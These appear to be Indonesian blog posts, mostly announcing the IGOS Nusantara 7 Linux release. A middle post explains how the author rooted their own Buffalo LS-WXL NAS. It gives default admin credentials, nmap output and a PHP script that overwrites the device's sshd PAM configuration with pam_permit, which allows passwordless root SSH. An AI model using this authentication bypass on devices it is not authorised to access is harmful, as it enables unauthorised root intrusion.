IGOS Nusantara 7

IGOS Nusantara (IGN) terus dikembangkan secara konsisten. Tahun 2011 ini ada yang berbeda dibanding tahun-tahun sebelumnya. Jika sebelumnya (sejak 2006), IGN setiap tahun mengeluarkan satu rilis, maka tahun ini ada rilis, yaitu IGN2011 dan IGN7. Pemakaian nama IGN7 disesuaikan dengan urutan rilis, yaitu saat ini sudah sampai rilis yang ketujuh. IGN7 mulai dikembangkan Agustus 2011.
.
Pengembangan IGN7 meliputi beragam hal, mulai dari perbaikan tampilan menu awal menjadi lebih dinamis, perbaikan Desktop, sampai dengan bagian akhir atau pasca instalasi. Pasca instalasi di IGN7 akan terpasang boot loader GRUB2 yang mampu mengenali beragam sistem operasi yang sudah terpasang sebelumnya. Tampilan GRUB2 di IGN7 memakai grafik sebagai latar belakang, sehingga nyaman dilihat.
.
Berikut ini tampilan awal LiveCD. Tata letak menu lebih nyaman dilihat. Terima kasih kepada Ibnu Yahya yang telah membantu mengatur tata letak menu LiveCD ini.

IGOS Nusantara 7 LiveCD Boot Menu

IGOS Nusantara 7 LiveCD Boot Menu

.
IGN7 LiveCD yang dipasang ke harddisk, setelah booting akan menampilkan GRUB2 dengan latar belakang grafik.
.

IGOS Nusantara 7 GRUB2

IGOS Nusantara 7 GRUB2

.
Beberapa fitur di IGN7 telah dikembangkan dari IGN2011. Saat ini ISO image LiveCD dan repositori IGN7 final (R7.0) telah tersedia. IGOS Nusantara versi LiveCD menyediakan desktop GNOME dan LXDE. Jika IGN2011 memakai GNOME 3.0, maka IGN7 telah melakukan update ke GNOME 3.2.1. GNOME 3.2.1 melakukan perbaikan penting dalam hal stabilitas dan fitur, diantaranya tampilan Dock yang otomatis akan mengecil saat tidak diakses. Pemakaian GNOME 3.x memerlukan adaptasi dari pengguna GNOME 2. Agar pengguna lama tetap nyaman, maka pengembang IGOS Nusantara telah mengadaptasi beberapa bagian dari GNOME 2 digabung dengan GNOME 3.2.1.
.
IGN7 saat ini telah memiliki lebih dari 17.000 berkas rpm hasil kompilasi ulang. Kompilasi ulang diperlukan agar IGOS Nusantara lebih mandiri dalam hal ketersediaan repositori. Sebagai informasi, IGN7 LiveCD terdiri dari 1264 berkas rpm, sedangkan IGN DVD instalasi + repositori akan memuat lebih dari 4000 berkas rpm.
.
Silakan lihat video tentang IGOS Nusantara 7 di Youtube:
.
IGOS Nusantara 7 via Youtube

.
Aplikasi atau paket yang ada di IGN7 telah mendapat pembaruan ke versi mutakhir. Antara lain Firefox 8.0, Libreoffice 3.4.4, Thunderbird 8.0, GNOME Media Player 1.0.2, Pidgin 2.10, Inkscape 0.48.1, GIMP 2.6.11, dan emulator aplikasi Windows dengan Wine 1.3.32. Ribuan paket lainnya ada di repositori. Kernel 3.1.2 dan beragam driver/firmware yang disertakan di IGN7 akan dapat mengenali beragam perangkat keras (motherboard, prosesesor, chipset, harddisk, kartu suara, kartu ethernet, USB2, USB3, Printer, GSM/CDMA Modem, Ethernet, Wifi, dsb) secara langsung.
.
Interaksi atau bantuan antar pengguna IGOS Nusantara dapat dilakukan melalui beragam media. Saat ini telah tersedia Halaman IGOS Nusantara dan Grup IGOS Nusantara di Facebook. Pemakaian jaringan sosial (social network) diharapkan dapat membuat interaksi lebih cepat dan mudah.
.
Fitur dan aplikasi yang ada di IGN7 LiveCD

  1. Satu LiveCD menyediakan desktop (Desktop Environment) GNOME dan LXDE
  2. Kernel 3.1.2
  3. LibreOffice 3.4.4
  4. Firefox 8.0 yang telah dikustomisasi dan dilengkapi dengan beragam ekstensi pilihan
  5. GNOME 3.2.1 dengan beragam tema dan kertas dinding
  6. Desktop LXDE
  7. FileZilla
  8. gKamus
  9. Akses langsung ke server repositori IGOS Nusantara
  10. Driver tambahan untuk chipset wifi broadcom, antara lain untuk bcm4321
  11. Beragam driver di paket kmod-staging
  12. Terminal default memakai lxterminal
  13. Multimedia player: GNOME MPlayer, Audacious, XMMS
  14. Pembakar CD dan DVD brasero
  15. Beragam skrip untuk mempermudah perubahan konfigurasi

ISO image IGOS Nusantara 7 LiveCD ada di:
http://repo.igos-nusantara.or.id/iso/7/

Akses root di Buffalo NAS LS-WXL

Hari ini mencoba akses Buffalo NAS LinkStation Duo 2 TB  LS-WXL[1]. Panduan yg tersedia memberikan informasi yang cukup singkat, tersedia petunjuk untuk memasang dan cara mengakses NAS memakai NASNavigator 2 (versi 2.22). Pemasangan NAS cukup ringkas, pasang adaptor dan kabel UTP ke switch. Switch terhubung ke server DHCP.

NASNavigator tersedia versi Mac dan Windows, tidak tersedia versi Linux. Akhirnya memasang yang versi Mac. Setelah terpasang, NASNavigator mendeteksi keberadaan NAS, memunculkan alamat IP dan memunculkan versi firmware, yaitu 1.34. Selanjutnya alamat IP dimasukkan ke peramban Firefox, masukkan nama pengguna “admin” dan kata sandi “password”.

NASNavigator bagi yang memiliki komputer hanya memasang Linux akan cukup merepotkan. Pemakai Linux dapat memakai trik berikut:

  1. Siapkan dan konfigurasi DHCP server
  2. Pantau log DHCP server saat NAS dipasang ke switch
  3. Catat alamat IP yang dipakai NAS
  4. Masukkan alamat IP ke peramban Firefox
  5. Lakukan konfigurasi NAS melalui peramban

Saat melakukan konfigurasi melalui peramban diketahui banyak layanan atau service yang ada di NAS. Pemeriksaan dengan memakai nmap memunculkan beragam port, yaitu:

Starting Nmap 5.51 ( http://nmap.org ) at 2011-11-28 18:09 WIT
Nmap scan report for term-x.xxx-168-192.int.lipi.go.id (192.168.xxx.x)
Host is up (0.0013s latency).
Not shown: 985 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
81/tcp    open  hosts2-ns
139/tcp   open  netbios-ssn
443/tcp   open  https
445/tcp   open  microsoft-ds
515/tcp   open  printer
873/tcp   open  rsync
3689/tcp  open  rendezvous
8873/tcp  open  dxspider
9010/tcp  open  sdr
9050/tcp  open  tor-socks
22939/tcp open  unknown
50000/tcp open  ibm-db2

Layanan yang membuat tertarik untuk dicoba adalah port 22 atau ssh. Percobaan melakukan ssh ke alamat IP NAS tidak berhasil masuk. Setelah mengisi dengan benar, login dipaksa keluar. Pencarian informasi ke google.com menunjukkan ssh secara default tidak dibolehkan oleh produsen NAS. Bahkan ada informasi, akses ssh akan membatalkan garansi NAS 🙁

Pencarian cara memperoleh akses root ke Buffalo NAS LinkStation Duo 2 TB  LS-WXL akhirnya berhasil menemukan komunitas yang mengeksplorasi NAS[2]. Berikut cara memperoleh akses root di NAS LS-WXL dengan firmware 1.34, yaitu:

  1. Jalankan peramban, masukkan IP NAS, login dengan admin dan password
  2. Buat folder shared dengan nama “www”
  3. Aktifkan web server, dari menu Network -> Web Server
  4. Set nomor port Web Server ke 81
  5. Set tarhet folder ke www
  6. Buat skrip di komputer lokal dengan nama (misal) “root.php”
  7. Unggah root.php ke folder www
  8. Jalankan peramban, akses ke: http://IP-NAS:81/root.php
  9. Coba akses ssh ke IP-NAS: $ ssh root@IP-NAS
  10. Jika sukses, akan masuk NAS tanpa password.
Skrip root.php
<?php
$file = '../../../../etc/pam.d/sshd';
$fh=fopen($file, 'w') or die("can't open file");
$stringData = "account  required   pam_unix.so\n";
fwrite($fh, $stringData);
$stringData = "session  required   pam_unix.so\n";
fwrite($fh, $stringData);
$stringData = "auth required pam_permit.so\n";
fwrite($fh, $stringData);
fclose($fh);
?>

 

 

 

Taut:
[1] http://www.buffalo-technology.com/products/network-storage/linkstation/ls-wxl-linkstation-duo/
[2] http://buffalo.nas-central.org/wiki/Category:LS-WXL

IGOS Nusantara 7 Beta

IGOS Nusantara 7 Beta
http://igos-nusantara.or.id/igos-nusantara-7-beta/

Di halaman rilis tsb. ada tautan video di youtube berisi fitur yg ada di IGN7 beta.

Silakan dilihat videonya dan mencoba IGN7 beta.